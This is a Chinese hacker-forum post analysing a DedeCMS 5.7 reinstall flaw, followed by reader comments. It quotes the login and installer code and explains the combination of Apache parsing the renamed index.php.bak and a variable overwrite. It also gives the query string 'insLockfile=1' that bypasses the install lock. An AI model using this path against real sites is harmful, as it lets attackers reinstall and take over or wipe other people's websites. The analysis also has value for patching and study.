DEDECMS 鸡肋2次安装漏洞
我怕ban。。。。。。
黑阔们 51 快乐
测试版本:5.7
漏洞文件1
dede/login.php
//检测安装目录安全性
if( is_dir(dirname(__FILE__).'/../install') )
{
if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') )
{
$fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!');
fwrite($fp,'ok');
fclose($fp);
}
//为了防止未知安全性问题,强制禁用安装程序的文件
if( file_exists("../install/index.php") ) { //问题就出现在这里 如果 install/index.php 文件存在
@rename("../install/index.php", "../install/index.php.bak"); //就重命名 index.php 为 index.php.bak 到这里你应该明白了点什么吧(apache 某些版本会解析 index.php.bak)
}
if( file_exists("../install/module-install.php") ) { //同上
@rename("../install/module-install.php", "../install/module-install.php.bak");
}
$fileindex = "../install/index.html";
if( !file_exists($fileindex) ) {
$fp = @fopen($fileindex,'w');
fwrite($fp,'dir');
fclose($fp);
}
}
install/index.php.bak
@set_time_limit(0);
//error_reporting(E_ALL);
error_reporting(E_ALL || ~E_NOTICE);
$verMsg = ' V5.7 UTF8SP1';
$s_lang = 'utf-8';
$dfDbname = 'dedecmsv57utf8sp1';
$errmsg = '';
$install_demo_name = 'dedev57demo.txt';
$insLockfile = dirname(__FILE__).'/install_lock.txt';
$moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';
define('DEDEINC',dirname(__FILE__).'/../include');
define('DEDEDATA',dirname(__FILE__).'/../data');
define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__)));
header("Content-Type: text/html; charset={$s_lang}");
require_once(DEDEROOT.'/install/install.inc.php');
require_once(DEDEINC.'/zip.class.php');
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); //变量覆盖。。。。
}
/*
/install/install.inc.php 文件的
function RunMagicQuotes(&$str)
{
if(!get_magic_quotes_gpc()) {
if( is_array($str) )
foreach($str as $key => $val) $str[$key] = RunMagicQuotes($val);
else
$str = addslashes($str);
}
return $str;
}
*/
require_once(DEDEINC.'/common.func.php');
if(file_exists($insLockfile)) // 覆盖前面定义的$insLockfile 成功绕过file_exists的检测 install/index.php.bak?insLockfile=1&
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
评论68次
一拍脑门,我怎么没发现呢
阿帕奇。。。。。
很奇怪,为什么dedecms安装后 不把install目录删除掉.
再次安装 网站不就挂了么~~太狠了吧
分析的不错!
这个不算太鸡肋的说~~
貌似很鸡肋,配合解析不错
最重要的是怎么才能找到后台
哎哟,不错哦
果然鸡肋,不过,瘦下来、、
有点鸡肋,不过分析得不错...
这个。。。比较鸡肋
过段收藏来 !
这个不错 不错。。值得顶一个。
没遇到过,先保存了,谢谢
食之无味 弃之可惜啊
分析的不错
留个标记把!看看分析过程
这个 确实是有点鸡肋
这个只要是管理员访问了后台 都会把index.php 改成 index.php.bak